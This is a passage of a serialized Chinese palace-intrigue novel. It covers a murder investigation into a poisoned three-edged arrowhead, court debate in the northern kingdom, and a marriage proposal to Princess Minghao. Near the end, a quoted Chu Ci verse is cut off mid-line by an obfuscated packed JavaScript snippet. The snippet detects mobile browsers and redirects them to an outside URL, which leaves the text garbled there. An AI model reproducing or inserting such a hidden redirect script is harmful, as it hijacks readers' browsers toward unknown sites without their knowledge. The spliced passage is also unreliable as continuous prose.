韦清谄媚地笑道:“还是陛下英明,韦棕是你以前安插在北旗的,是你的人,这信鸽也是他调教送来的……” 叶炫问:“这是什么信鸽,可靠吗?” 韦清喂养的几只鸽子,正是韦棕送来的,韦清连忙介绍道:“这几只信鸽叫中原森林黑,不仅具有躲避鹰隼的灵巧本领,还能在高山复杂地形和复杂气候的环境下飞行,抗逆力强,甚至断食断水几天,仍能存活……” 叶炫若有所思地点点头,喃喃自语道:“抗逆力强,仍能存活……说得对啊,人也应该这样,才能抵御风雨!” …… 当北旗大皇子高炜率使团还在回国的半途上、并对即将迎娶美人的远景而感到满心欢喜时,那只中原森林黑信鸽已带着叶炫送去密信,到达暗探韦棕手里,他连忙传给高策侍卫,让侍卫交到少师汤隐的手里。 少师汤隐看毕,连忙跑去交给高策,高策展开密信,知晓了“和亲”的内容,这也是叶真怀柔国策的重要组成部分,根据他与叶炫的秘密协议,他必须阻扰。 不过,这事非常难办,因为两国和亲是件好事,他很难说服父王,这就像一张白纸,它明明就是白色的,你又怎能把它说成黑色的呢? 这个高策,不像他皇兄高炜那样,具有草原汉子那种粗狂彪悍的气质,相反,他长得皮肤白皙,温文儒雅,颇为朗俊,还偏偏喜欢穿盔戴甲,舞弄佩剑,显示强大。 不过,他借口学习剑术,已把卫将军莫日尔收为麾下,让其成为他的心腹。此莫日尔为人奸诈,不仅凶猛无比,还诡计多端,深得高策器重。 他当即将莫日尔秘密召来,将密信给与他看,并说:“两国和亲,父皇必定同意,如此,皇兄高炜又占了上风,怎么办?” 莫日尔思忖片刻,说:“两国和亲是大事,于我北旗来说也是利好之事,不仅迎娶了悒国公主,也有了修生养息的宝贵时间;同时于悒国也是好事,叶真的怀柔国策进一步施行,声望必定高涨,因此,要想渔翁得利,必具壮士断腕之决心!” 听他这样一说,高策立即问:“大将军有何妙策?” 莫日尔犹豫片刻,道:“罢罢罢,只有这样……”然后凑近前来,附在高策耳边一阵嘀咕。高策一听,大吃一惊,半天说不出话,思忖良久,这才压低声音说道:“事关重大,这事容我好好想想。” 莫日尔点点头,不过也提醒道:“殿下,这其实是个绝佳的机会,都已送到你面前来了,你要早作决断啊!” …… 33. 巧查凶器,不翼而飞 再说那晚永延殿外的第二个蒙面黑影,他等到第一个蒙面人跳下树离去后,又悄悄在后跟随,直到他回房,然后才腾起轻功,朝千寿宫方向穿行而去。 太后正在吃米莲端来的夜宵驻颜人参汤,蒙面黑影直接进去,站在屏风后面对她窃窃奏报道:“有人去了永延殿。” 太后头也不抬,道:“看清人了吗?” 蒙面黑影在屏风那里说:“虽看得不是很清,但我又跟踪他回去,基本可以确定他是谁了……” “是谁?” “李诀!他往里面送了一个消息。” 太后的脑子飞快地转动着,没有出声,过了片刻,道:“你下去吧,我知道了。” 蒙面黑影刚离开,太后就掉头对米莲说:“没想到吧?” 米莲连连摇头,道:“怎么是李诀呢?这李诀不是叶真的心腹和御前侍卫吗,怎么会转而与一个疯皇帝勾搭并送消息?他究竟是个什么人,送去了什么消息?” 太后喃喃道:“这件事可能比我们想象的更为复杂?” …… 每天早晨吃了早饭,叶子萌要么与聂浣儿在书房谈诗作画,要么就在院里教云弟弟练剑学武,从未离开聂王府,表面上倒也显得悠闲雅静。 聂小云一边练剑,一边安慰叶子萌:“子萌姐姐尽管放心,虽然壁虎已被典签司的人雪藏,但我已在城中撒下暗探继续查找,我就不信找不到浣菱的消息!” 叶子萌知道这云弟弟夸海口的目的,是为了宽她心,进而在她这里能学到更多武功,但也不与他计较,暗中也让西门轩等人再去暗查。 西门轩与云媃、子寻风与静香,已分头出去,在京都街衢到处转悠,看看热闹,这悒国的京都也真大,街衢胡同数不胜数,热闹异常。 京城街上,蹙鞠、对弈、赛花灯、玩狩猎、听戏曲、喝花酒,还有数不清的纨绔子弟提笼架鸟、逛娼楼妓馆,让人目不暇接。 接连几天下来,西门轩和云媃一组,子寻风和静香一组,两组人马都发现有人在后面跟踪,这些盯梢的人也不知是受何人指派,目的是何,也不做甚,只是盯着而已…… 一日,子寻风与静香路经一茶肆,两人对视一下,便进了茶肆。之前他们就来过一次,发现有道后门,这次进来也不吃茶,径直就往后面去,拨开后门栓,提脚就飞奔。 不料后门那里又追来三人,子寻风与静香往一胡同闪去,几弯几绕,就不见了影儿,那伙人在胡同里到处看,鬼也没一个,于是悻悻离去。 他们回典签司后,被典签帅周攸元一阵破口大骂:“全是废物,盯两个人都盯不住,想白拿饷银吗?滚,再去找!” 那边,子寻风与静香摆脱盯梢后,就朝大理寺少卿赵渊如府邸奔去。少顷,府邸大门口,有人在大门外轻轻敲门,林啸出去开门,一见是子寻风与静香,便问:“你们是?……” 子寻风回答:“我们是受师父沐灏天所托……”林啸一听即明白,忙把他们招呼进去,又关上大门,然后将二人带到里面。 子寻风边走边说:“来京都之前,师父就把赵大人的府邸地址告诉了我们,要我们有事就找来林叔……” 林啸点点头,说:“看来你师父为叶子萌的事很上心,也想得很周到。” 赵渊如正在里面厅房,林啸将二人引荐给赵渊如,双方行礼之后,子寻风将背着的布囊打开,拿出了那把弓箭,对赵渊如和林啸讲了事情的来龙去脉,要他们辨认辨认。 子寻风介绍说:“此弓乃紫檀木制成,弦为河牛背筋,箭镞三棱形状,纯铜铸造,弓身长三尺五,弦长二尺七,整个弓油亮乌紫,一看就知它的主人定是个箭道高手。” 赵渊如和林啸二人辨认半天,林啸突然说:“这把弓箭很特别,我倒有些眼熟,好像在哪见过?” “哦?”旁边的赵渊如说道,“你再仔细想想!” 林啸又皱眉想了一下,突然说:“是他!就是他!”便抬起头说道,“这把弓箭应是宫中那个羽林中郎将李诀的,若干年前,有次他陪先帝从南山狩猎回来,我就见过他手里拿着这把弓箭!” 赵渊如把袖袍一甩,他顿时联想到很多很多,虽然只是猜测,还没有具体的证据,但觉得自己已猜得八九不离十了。 他忽然想起当年皇太子叶坤遇刺的那一箭,那个箭镞似乎也是三棱形状,于是对林啸说:“叶坤遇刺一案,至今也是悬案,那只作为凶器证据的箭镞,想必仍在大理寺存放着,我们想想办法,看看能否得以一见?” 林啸略一沉吟,对他说道:“你虽是大理寺少卿,但最好不要出面。这件事偷走不易,也容易打草惊蛇,但见上一见,拓印个模子,应该不难,这事我来想想办法……” “如果我不出面,你又有何办法?”赵渊如说,“大理寺平时守卫甚严,你有何办法进去呢?” 林啸想了想,突然说:“有了……”于是压着嗓子,将自己的想法对他们说了,并让子寻风与静香配合他,来演一出戏…… 三人一听,相互看了看,点了点头。 当晚,大理寺衙门外,子寻风和静香换了装束,扮成一对冤家夫妻,双方抓扯辱骂,吵吵嚷嚷地来到大理寺衙门外。 两名守卫一见,喝道:“何人喧哗,快快离开此地!” 子寻风装着醉醺醺的样子,扭着静香手臂,对守卫说道:“此贱人经常背着我悄悄勾搭奸夫,我早有怀疑,今儿她趁我外出喝酒,又与奸夫在我们房内行不耻之事,被我潜回来当场抓住,你们官府衙门定要替小民作主啊!” 守卫喝道:“坊间这等偷鸡摸狗之事,竟也敢来我大理寺叨扰,快走快走,再不离开,治你个藐视官府罪,抓起来法办!” 子寻风顿时撒起泼来,仰天喊道:“堂堂衙门,不为民作主,还有没有王法了……” 另一守卫却走过来,嬉皮笑脸地说:“常言道,捉贼拿赃,捉奸拿双,你说的奸夫何在?” 子寻风歪歪倒倒地好像站立不稳,用手随便往一个地方指指,醉醺醺地说:“那奸夫看上去还像个衙门的官吏,已被我当场一斧,砍死在床前……” 两守卫不听则罢,一听此话,忽然一惊,随后一拥而上抓住子寻风胳膊,其中一守卫掉头大喊:“快快来人,这厮杀人了……” 话刚落音,大理寺门内冲出几名正在巡查的守卫,一拥而上,抓住了正在用力挣扎的子寻风,然后对静香说道:“你们家在何处,快快带路去杀人现场……” 这边大理寺墙外一暗处,蒙着面的林啸见他们一走,便运功悄悄飞上墙头,跳入墙内,然后朝大理寺里存放卷宗的档案库疾驰而去。 档案库走廊的灯光鬼火般黯淡,林啸撬开一个窗户,跳将进去,在里面查找半天,也未找着太子被害案的卷宗。正在茫然无措之时,忽看见柜子一抽屉上贴有“天字号叶坤”字样,于是立刻蹿了过去。 撬开抽屉,果然见到太子叶坤当年的血冠、血衣,早已凝结发黑,可是到处寻找,也没发现那只作为凶器证据的箭镞。 …… 再说子寻风和静香那边,由静香带路,一众守卫扭着不断挣扎的子寻风,跟随她匆匆而行,走着走着,却来到一条河边,静香站住,四周眺望。 守卫们也停住,望着漆黑的四周,茫然问道:“怎么不走了?你家究竟在何处?” 这时,静香望着黑黢黢的河道,忽见仰天哭喊一声:“郎君啊,你既已死,芳儿我还活着做甚……”说完往前跑几步,然后纵身一跳,跳入湍急的河水中…… 几名守卫大吃一惊,愣在那里,这时却见子寻风忽挣开守卫,冲着黑黢黢的河流大喊道:“贱人,你往哪里逃!”说着也跟着噗通跳下河去,只听“啊呀”一声,眨眼间就随湍急的水流消失不见了。 那几名守卫回过神来,纷纷骂这两个疯汉痴妇,其中一名头儿模样的人冲着河水啐了一口,道 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“哦,不,我是说……”一向嘴快的子寻风,这时竟无语且局促起来,尔后又拿眼去悄悄瞥静香,此时她衣服湿透,紧贴身子,勾勒出前胸后臀迷人的线条,而且她湿漉漉的脸蛋,在月光下也是这般地娇羞好看。 …… 林啸查找太子案的凶器无果,只好悻悻而归;子寻风和静香也浑身湿漉地回了赵渊如府邸,换了衣服,几人又再议。 赵渊如说:“这件事大理寺卿张廷玉应该知道,我虽不便去问,但是心里也清楚,能从大理寺弄走太子一案凶器的,绝非等闲,而此事又不被声张,就更是古怪,看来对方早有防范!” 林啸突然说:“对了,明日我们不如去一趟西山曾蛮子家,带上这只三棱铜箭镞,给他查验查验,说不定能查到一些线索?” 子寻风和静香问:“曾蛮子是何人?为何去他那里?” 林啸便将曾蛮子曾经被抓、后又被他们救走的事情,原原本本告诉了他们,最后说道:“只要将这个箭镞让他辨认,看看是否是他亲手铸造的,那剩下的事,就更好判断了。” 子寻风和静香当晚回聂王府住处,将事情告之叶子萌和西门轩他们,叶子萌一听,来了精神,喃喃说道:“事情终于开始有些眉目了,曾蛮子应该算比较重要的线索,你们明天就跟林叔一道去西山,看看他怎么说!” 两人点点头。 第二日清晨,子寻风和静香悄悄溜去西城门外,与牵着三匹马的林啸会合,一并骑马去了西山。 西山,曾蛮子刚打猎回来,一见林啸,便热情地将他们迎了进屋,林啸说明来意,并拿出那只三棱铜箭镞,要他辨认。 曾蛮子接过箭镞,默默地辨认着,慢慢地,那些往事就浮现了出来:那时他还年轻,同样也年轻的李诀找上门来,谈事之前还回望四周,仿佛怕人发现似的…… “怎样?”林啸见他不语,忍不住问道。 曾蛮子慢慢点头,指着自己手里的这只铜箭镞,声音虽小、但毫不犹豫地说:“是的,这种箭镞,就是那只射杀太子的箭镞,都是我当年亲手锻造。那个宫中的李诀喜欢打猎,常在我这里订货,但后来一次,他让我铸造这种有毒的三棱铜箭镞,说是南山忽然出现了一种怪兽,十分凶猛,我就替他锻造了一副这样的铜箭镞。” 林啸一听,又问:“你再仔细想想,还有什么异常的情况?” 曾蛮子想想,又说:“当时我就觉得有些奇怪,李诀是何等人,要在军械库或军营里拿到箭镞不是很容易的事吗,为何偏要找我重新订做,现在看来,原来他是不想留下痕迹,被人察觉抓住把柄?” “这件事当时还有其他人知道吗?”林啸问。 “无人知晓……”曾蛮子摇摇头,“过不久连我都忘了。” 林啸、子寻风、静香三人查得结果,当天返回,在城门外分手。林啸眼睛瞅着高高的城门说:“我们各自分开进城吧,以后有事用得着我时,尽管来找我!”说完先行了一步。 34. 背后阴谋,涉及北旗 林啸回到赵府,把情况对赵渊如说了,然后又道:“我得去相国府一趟……” 赵渊如会意,点点头道:“你是该去一趟,不过去那里你最好还是化化装。” 于是,林啸换了装,挑了一担菜从后门悄悄出去,直奔相国府。 来到相国府大门旁的侧门,轻轻敲了两下,门开了,里面的人一见是他,便把门打开,让他进去了…… 老相国吴国成正在客厅里与一人谈话,下人禀报来:“林啸林大人来了。” “哦,”吴国成忙说,“快请!” 林啸一进来,正要说话,忽见房里还有人,又语塞,吴国成便对他说:“我给你介绍下,这位是典签副帅赵一舟赵大人,不是外人,你但说无妨。” 林啸一听,便知太后的手已经伸向了典签司,于是他点点头,把最近发生的事禀报给了老相国。吴国成听了,道:“那只箭镞是在太后那里,这件事还是怪我,没来得及告诉给你。” “啊?是这样啊……”林啸睁大了眼睛,想起他们三人冒死演戏的那一幕,不由摇摇头,苦笑了一下。 吴国成又掉头对典签副帅赵一舟说:“宫中羽林中郎将李诀,十几年前在曾蛮子铁匠铺私订三棱毒箭一事,这个消息你要及时传给太后!” 赵一舟点头道:“李诀有太大嫌疑,现在的关键,是要查清他究竟是什么人,他背后又有些什么人?” 林啸正要告辞,吴国成又叫住他,叮嘱他道:“你我的这条线,暂时不要在明浩公主那里透露。” 林啸不解,迟疑地说道:“大人,若与明浩公主不互通线索,那他们不是要做很多无用功吗?比如去大理寺查找箭镞证据?” 吴国成笑道:“起初我也是这么想的,但这是太后的意思,太后给我带话时专门叮嘱的,说到为何不告诉明浩公主时,她留下两字:历练。” 林啸不解,似懂非懂地点点头,忽又恍然大悟,说:“大人,原来你说忘了告诉我箭镞在太后处一事,也是故意隐瞒的?” “哎哎,不不,”吴国成忙收起笑,一本正经地说,“这事真是我忘了告诉你的!” …… 另一边,子寻风和静香看到林啸走远,这才进城,回府上把情况向叶子萌等人讲了,子寻风说:“……现在案情已初露端倪,宫中那个羽林中郎将李诀,有头号嫌疑!” 静香说:“若这两支毒箭真的都是他射出,那么他目的何在,背后指使又是谁?” 子寻风接着又说:“另外,既然他平时打猎射箭并非用这种毒箭,那么,他所剩下的毒箭肯定还有,又藏在何处,还想拿来作甚?” 这时云媃对叶子萌说:“干脆把他绑了去见太后!” 叶子萌看了她一眼,说:“李诀这种身份地位、这种武功高手,哪是你说绑就能绑的?他在宫中行走这么多年,侍候过三位皇帝,可见他功夫非同寻常,根基也很深,你这样不是鲁莽了吗?” 西门轩就悄悄地诡笑一下,又连忙还原,没让人看见。 叶子萌又道:“再说,李诀究竟是不是有问题,背后还有没有他人,证据也不够充分,若贸然行事,恐怕不妥。” 云媃说:“曾蛮子就是证据呀,他可以证明当年李诀在他的铁匠铺定制了这种式样的毒箭镞呀!” “事情恐怕没你说的那么简单,”叶子萌说,“容我再仔细想想。” …… 北旗皇子高炜率领的使团,经过长途跋涉,终于回到北旗京城奉都,那里距离北地郡草原已不远,因此奉都之人穿戴与悒国京城的人大不一样,但奉都作为四朝古都,也建造得颇具气势。 高炜一进宫,来不及回自己的寝宫,就直朝议事大殿方向奔去,大太监田鹏早已得报,先进大殿高声通报:“大皇子高炜到!” 高耸巍峨的大殿上,北旗皇帝高渊,发辫花白,头戴羊绒冠,身披貂皮大氅,霸气而野性,双目炯炯有神,只要他那双鹰眼一般的眼眸扫视一遍下面,殿前站立的文武百官无不胆战心惊。 一听田鹏通报使团回来,高渊就撑起身子等待,一等高炜进得殿来伏地奏报,就招呼他快快起身,说:“皇儿近前来,你对大家讲讲,这次前去悒国京城,有何感受?”他虽是上了点年龄,却声如洪钟,中气十足。 高炜无限感慨地举起了双臂,旁若无人地高声说道:“啊,璀璨兮星辰,纯洁兮莲花,芳香兮八荒,光华兮长存!”说着又将双臂展开,就像要飞翔于天空,“在这璀璨星辰中,有一颗最亮的星星,令人崇拜颠倒……” “是吗?”高渊疑惑地望着他,“吾儿究竟在说什么?莫非是在赞美他们那位刚刚篡位的新皇帝叶真?……” 话刚落音,一旁的二皇子高策乘机站出来说道:“父皇,兄长在朝堂之上这般赞美、甚至阿谀逢迎悒国新帝,似有些不合时宜?这样岂不长了他人志气、灭了自己威风吗?” “是啊是啊……”几位大臣附和。 “闭嘴!”高渊喝了一声,他也觉得有些奇怪,但还沉得住气,又掉头问高炜:“吾儿仔细说说,究竟是怎么回事?” 高炜这才慢慢从他的幻觉中回过神来,上前一步道:“父皇,那悒国的皇帝叶真算得了一根鸟毛!都在说他是个夺权篡位的无耻之徒,我怎么会去赞美逢迎他呢?笑话!” 众百官屏息凝气,尖起耳朵细听。 高炜继续又说:“父皇啊,这次我在悒国遇到了像太阳一般明艳的明浩公主,她年方二八,却胆识过人,英勇神武,与悒国其他那些公主小姐迥然不同,如果把那些公主小姐比喻成艳丽的玫瑰花,那明浩公主就像我们草原上最美的格桑花!” 大殿之下一阵骚动,而大殿之上的高渊却思忖起来,他下巴那里有一撮白色的胡子,他就用手在那里拈啊拈啊,久久不说话。 一侧的二皇子高策暗暗注视着父皇,也不作声。 “永平王啊,”高渊忽然掉头说,“你怎么看?” 永平王高俊站在文武百官前排,一听皇帝叫他,便站出来说道:“陛下,大皇子年轻有为,此次作为特使派往悒国,也算游历和锻炼,在那里遇见个什么公主,喜欢上她,这很正常,但这毕竟牵涉到两国的关系和交往,有些事情还是需认真捋捋。” “是啊是啊,得认真捋捋。”有两个官员点头附和。 见皇帝未置可否,高俊又掉过头问高炜道:“皇侄,首先,这件事悒国皇帝叶真知道吗,若是知道,他是什么态度?” “当然知道,”高炜连忙说道,“他非常赞成,称若是北旗与悒国和亲,定是两国之福,只等我回来向父皇禀报,正式派人前去提亲。” 大殿之下又是一阵骚动。 永平王高俊又问:“其次,那个明浩公主知道此事吗?她本人是什么态度?” “这个……”高炜迟疑道,“我还暂时不知她是什么态度,不过悒国皇帝说了,他将向他母后禀报,再由太后出面对明浩公主讲,明浩公主父母早亡,这件事自然由她皇祖母替她作主了。” 高俊又问:“再次,你说这个明浩公主父母早亡,指的可是悒国当年被奸人所害、直到今天也没查到凶手的皇太子叶坤和太子妃李慧儿?” 高炜回答道:“那桩旧案已过去多年,早已沉冤大海,永平王现在又旧话重提,是何意思?” 永平王高俊并不直接回答他,只是掉头向高渊奏道:“回禀陛下,我的话说完了。” 朝堂沉默下来,一丝声音也没有…… 高渊沉吟片刻,又将目光掉向殿前左则的樊烮,樊烮官至太尉,在朝堂上说话还是很有分量的,高渊喜欢拿他来与永平王抗衡。 樊烮见高渊看他,顿时心领神会,便站出来说道:“启禀陛下,微臣以为,悒国过去很多年的一桩太子旧案,与我北旗关系不大,今天我们面对的还是悒国新帝叶真,既然他有与我们北旗和亲的意思 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“哎,皇兄,话不能这样说,”高策说道,“朝堂之上,众大臣畅所欲言,将各种问题议论透彻,这就是父皇的高妙之处;至于最后作出决断,当然是由父皇来一锤定音,难道谁还有父皇那般英明不成?是你吗?” 高渊的鼻子“嗯”了一声,这时才清清嗓子,说道:“我北旗与悒国争战多年,边关将士和黎民百姓苦矣,既然悒国新帝有与我和亲之意,皇儿高炜又如此喜欢公主,那就选个吉日,派出使者,带上我亲笔书信前去悒国正式提亲吧……” 文武百官拱手拜道:“陛下圣明!” 高俊也把双臂环抱,拱手一拜,嘴角掠过一丝儿幸福的微笑。 …… 永平王高俊回去后,对自己的王妃徐氏讲了这件事,且沾沾自喜地说:“众百官都在说‘陛下圣明’,我嘴上也在跟着说‘陛下圣明’,心里却在想:若我起先就说和亲是件利国利民的天大好事,说不定高渊就会说,这里面恐有‘阴谋’呢!” 徐王妃笑道:“我太了解你了,心里是赞同和亲的,却把话拿来折腾反着说,就料到那高渊要支出樊太尉来与你对着干。” “嗤!”高俊不屑地说,“这两个老贼!” “嘘……”徐王妃将手指放在嘴唇上,习惯性地朝四周瞧瞧,“慎言!” …… 二皇子高策回去后,又秘密召来卫将军莫日尔,再次进行商议。 莫日尔对高策说:“从今日朝堂之上的情势来看,和亲的呼声很高,虽然百官中也有一些人是阳奉阴违,但毕竟和亲是大势所趋。” “是啊,”高策点头说,“主要是父皇有那意思,下面那些见风使舵的家伙就顺着父皇的口风来,真是没办法。” “不过,”莫日尔又说,“我倒以为,陛下赞同和亲,自有他的深意,倒不是因为他偏爱你皇兄高炜多一些……但是,这样一来,高炜就会借着这个‘势’,朝于他有利的方向发展,而达到自己最终目的!” 高策的幕僚汤隐这时插话说:“若高炜与悒国公主和亲,以后高炜在陛下心中的分量就不同了,因此,这个‘势’不扭转,你这二皇子就失去了先机。” “我何尝看不到这点,”高策道,“但你们说说,我能阻止这个‘势’吗?”说完就在那里来回走动,气得咬牙切齿,恨不得…… 莫日尔又添油加火地怂恿说:“殿下,上次我就与你说过,干大事者需具有壮士断腕之决心,你勿再犹豫,我们一不做、二不休,干脆……”他比划了一个手势。 高策终于说道:“这样,你先照自己的想法去安排,作些准备……但是,还要看这件事的最后结果,等我消息……” “好的,殿下!”莫日尔拱手说。 卫将军莫日尔之所以这么胸有成竹,自然是有他的原因,他离开高策回来后,当即叫来一名手下,附在他耳边悄悄吩咐着。 “是,大将军!”这位密探拱手说,然后叫上两名随从,三人骑上快马,往悒国方向飞奔而去。 …… 35. 北旗求亲,公主怪梦 又是几日过去,北旗皇帝高渊派出的和亲使者,带着他那封盖有北旗玉玺大印的亲笔信,前去悒国京都,交到悒国皇帝叶真手里,同时将八个束有丝绸蝴蝶结、装满金银珠宝的红色大箱子作随礼,一并抬上大殿。 总管公公王智鹏受叶真旨意,当众宣读北旗皇帝高渊的亲笔信—— 咨尔悒帝真,昔两国之争,仓廪虚耗,头会箕赋,民不聊生。今悒帝施清明之政,推怀柔之策,深得朕心。今有大皇子高炜,上殿请奏欲与大悒皇室明浩公主和亲,朕思虑再三,本着与邻邦世代友好之夙愿,准皇子高炜奏,特前来贵国提请和亲,企盼两国从此战事不起,世代友好,也祈愿皇子高炜与明浩公主琴瑟和弦,共谱两国联姻佳话…… 念毕,坐在龙椅上的叶真说道:“众爱卿有何高见,可以各抒己见,一起议议……” 堂下百官早就获悉皇上有将明浩公主与北旗皇子和亲之意,于是齐声奏道:“和亲息战,上利国家,下利黎民,此乃两国幸事,我等无有异议!” 这时,相国吴国成暗暗瞥了大理寺少卿赵渊如一眼,赵渊如心领神会,便站出来奏道:“陛下,即使和亲有利于两国,但为稳妥起见,是否还是先请奏太后懿旨,以及征求明浩公主本人意愿;再者,北旗提出和亲,我们倘若立即答应,是否有失我泱泱大国颜面,不如再等些时日,看看情况再议?” “哎,少卿多虑了!”叶真说道,“太后那里,我自然是要去禀报请奏的,公主和亲北旗皇子之事,一切都由她老人家定夺。至于‘颜面’问题,乃尔等书生之见,比起两国世代友好,恐就不值一提了吧?” 赵渊如深知皇帝主意已定,若再坚持劝谏,或抬出老相国,恐会令他生疑,于是退下,不再作声,只在心里替叶子萌暗暗着急。 他不由掉头去看相国吴国成,吴相国也在悄悄看他,并把手掌往下按按,做了个“稍安勿躁”手势。 散朝后,叶真在王公公的陪同下,起驾径直往千寿宫去,进入寝宫,先给太后请安,然后拿出北旗皇帝遣和亲使者带来的亲笔信,给太后呈上。 太后细细看完这盖上北旗皇帝玉玺的亲笔信,思忖良久,问道:“臣子们都知道啦?他们怎么说?” 叶真道:“和亲一事,有利于两国交好,除个别臣子比较保守、心有顾忌外,其他文武百官一致赞同,没甚异议。” “老相国呢,”太后问,“他怎么看?” “哦,”叶真道,“他倒没说什么,估计还是想等待母后定夺吧?对了,大理寺少卿赵渊如也是这么说的。” “那……你怎么看?”太后把眼睛转过来望着他,想听他亲口说。 叶真的心里开始捣鼓,然后拈着字眼慢吞吞地说道:“这和亲之事虽然好,但是我也有些担忧……这不,还是到母后这里来请奏,由母后作主吧!你是公主的皇祖母,由你定夺最为妥当。” “哦?”太后漫不经心地问道,“你担忧什么呢?” 叶真道:“我悒国与北旗在边关争战多年,耗损国库,将士疲惫,若悒国与北旗真的能够和亲交好,应该是上利国家社稷、下利黎民百姓的大好事……” 停顿片刻,见太后没搭话,像在等他,于是又继续说:“但是,这门亲事明浩公主是否愿意,我就没把握了。倘若她不愿意,甚至使起性子来,反会坏了两国关系,甚至引发新的战事,那岂不……”他实在找不出恰当的比喻,便打住了。 虚空中,就有“岂不偷鸡不成反蚀把米”的声音,那是双方内心响起的声音,旁人却听不见。 太后听了叶真这番“没把握”的话,仍然面无表情,久久没有说话。 一旁的王公公也面无表情,盯着自己脚尖一声不吭。 叶真就拿眼去偷偷瞄太后,忍不住猜测道:母后究竟在想什么呢?他就再次去盯她的脑门,看见她布满了皱纹的脑门上方,虽平时未戴上她那顶飘动着垂珠结的九龙九凤冠,但是威仪仍然不减。 叶真暗暗猜测:别看母后表面上未有风吹草动,内心深处说不定早已翻江倒海,她寻找明浩公主好多年,现在好不容易找到,公主才刚回宫中,又遇到和亲之事,说着说着这心肝宝贝就像又要离她远去,心里肯定是万般滋味,而且肯定觉得六神无主,所以我切勿急着去碰她这块心病…… “岂有此理!”太后突然一喝,同时将手里的茶盏往旁边几桌上重重一搁,那茶盖就被打翻,茶汤溅了一桌,吓得叶真连忙站起,十分惶恐…… 旁边的王公公也拱起手挡住脸,嘴角却掠过一丝笑。 转瞬,太后大约也感到自己有些失态,眼珠便转了转,高声说:“米莲,这是哪个贱人沏的茶啊,我不喝西域贡茶的!” 米莲一听,伸手就给了奉茶宫女一巴掌,奉茶宫女连忙扑上来撤了茶盏,惶恐说:“太后息怒,姑姑息怒,奴婢这就马上去换……” 太后平复下来,又在心里暗暗思忖:这件事虽然有些窝心,但和亲一事于两国关系的确重要,表面上没什么毛病……对于和亲,其实她也是想过的,而还盘算过,只是主角并非明浩公主,而是她侄孙女、侯王兼兵部侍郎聂清池的女儿浣儿郡主,当然这也只是一闪念。 唉,偏偏北旗的大皇子来了一趟悒国,看上的不是浣儿郡主,而是明浩公主,这倒把她难住,那么,这会不会是叶真从中斡旋的结果?甚至是他故意布下的一个阴招呢? “母后,”叶真见她久久未说话,忍不住提醒她道:“你看这事?……倘若母后实在舍不得明浩公主,那我就去回绝北旗派来的使者吧!” 太后听他这一说,心里突然冒出个一箭双雕的主意,于是摆摆手阻止了他,说道:“这样吧,这事不急,我先去探探子萌的意思,看看她是怎么个态度。” 叶真连忙点点头,道:“这样甚好,这样甚好……”说完终于松了一口气。 待叶真告辞,米莲有些担心,忍不住问道:“太后,如果明浩公主同意,你舍得?” 太后反问:“你觉得子萌会同意?” “自然不会!”米莲想想说。 “那你还担心什么?”太后说。 “不怕一万,就怕万一。”米莲答道,“凡事都要有充分的准备……” “你这样想我很欣慰,”太后微笑着,说道,“你这个凤仪女官现在成熟多了,不枉我栽培提挈你多年……” 米莲没去回应她这句话,因为她太了解主子,不喜逢迎,且常常是话外有话,所以她在专心等待太后接下来的话。 奉茶宫女这时踩着碎步上来,重新替太后端来一盏茶。 太后这次倒没有评价茶的好坏,只端起来呷了一口重新泡好的茶,然后放下,对米莲招招手。米莲顿时会意,上前来低下头,太后就附在她耳边,如此这般地交代起来。 米莲一边听,一边点着头。 …… 翌日一早,太后对李公公说:“传我懿旨,让明浩公主来我这里一趟。” 李公公领旨,转身正要往外去,太后忽又叫住他,说道:“算了,你去备上辇轿,哀家亲自去聂府走一趟……” 其实,北旗派遣使者前来提交“和亲”信件一事,当天散朝,叶子萌就收到大理寺少卿赵渊如那边传来的消息,同时聂小云也在他父亲聂清池那里得到证实。 云媃和静香得知后,都拿此事与叶子萌打趣,说她是咸池里的桃花仙子开花了,惹来了从千里之外飞来的嗡嗡蜜蜂。 “你们也知道这‘咸池’?”叶子萌不解。 云媃便指指静香,对叶子萌说:“这事你问她……” 静香用手拐撞了云媃一下,见叶子萌仍望着自己,便只好交代说:“替你收拾床铺时,见你枕边有本《楚辞?九歌》的书,翻开一看,就见到有这诗句:与女沐兮咸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885072|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池,晞女发兮阳之阿。望美人兮未来,临风怳兮浩歌……” 叶子萌一听,脸就红了,连忙掉开头去。 “哟,果然害羞了!”云媃便和静香笑着逗她。 叶子萌对男欢女爱之事尚未启蒙,北旗大皇子高炜长啥模样她也没去注意过,只是觉得有些新奇好玩罢了,于是转过身,开始在院里追打着她们,打得那两个小师姐在假山背后笑着乱钻。 倒是西门轩对此事显得非常厌恶,冷不丁冒出一句:“蟾蜍仙遇鹅仙女,不知好歹!” 叶子萌听了又吃吃地掩嘴笑,说道:“对了,你们不说,我倒不知这个北旗皇子长啥模样,难道真像西门哥哥所说,像那池里吓人的蟾蜍?” 子寻风在旁边说:“西门兄的意思是这样……”就学着一只蛙,张开两只手臂,躬身往前跳了两跳。 几个女孩子看了,又吃吃乱笑。 唯西门轩皱着眉头望着子寻风,一声不吭,显得有些不屑和烦躁。 子寻风盯着他看,联想起他往昔他的一些奇怪举动,于是像有些明白了什么,就偷偷笑起来,这更是令西门轩浑身都不自在了,干脆躲到屋里去。 偏偏子寻风跟随他进来,纠缠着他问道:“怎么,你哪儿不舒服?” “没有啊,”西门轩装得无事似的,举起手臂比划了两下,“这不好好的吗,兄台何以这么问?” “是不是这里不舒服?”子寻风用手指戳戳他胸口,继续追问,“你就老老实实交代吧,我已观察你很长时间了,你是不是喜欢上人家……人家公主了?” 西门轩浑身一震,忽地站起:“你胡说什么?我……我我怎么会……怎么会喜欢……你究竟说谁?” “子萌妹妹呀!”子寻风认真地说,“别装了,你以为别人都看不出来,说不定人家子萌妹妹也……也察觉出你不怀好意呢!” “讨打!”西门轩气得就去拔剑,不料轻功异常好的子寻风已笑得接不上气儿,一溜烟跑得无影无踪。 院子里的叶子萌等人望着他们,不明就里,正要出门去追打子寻风的西门轩,一见她们在瞧,立刻又缩回门里去。 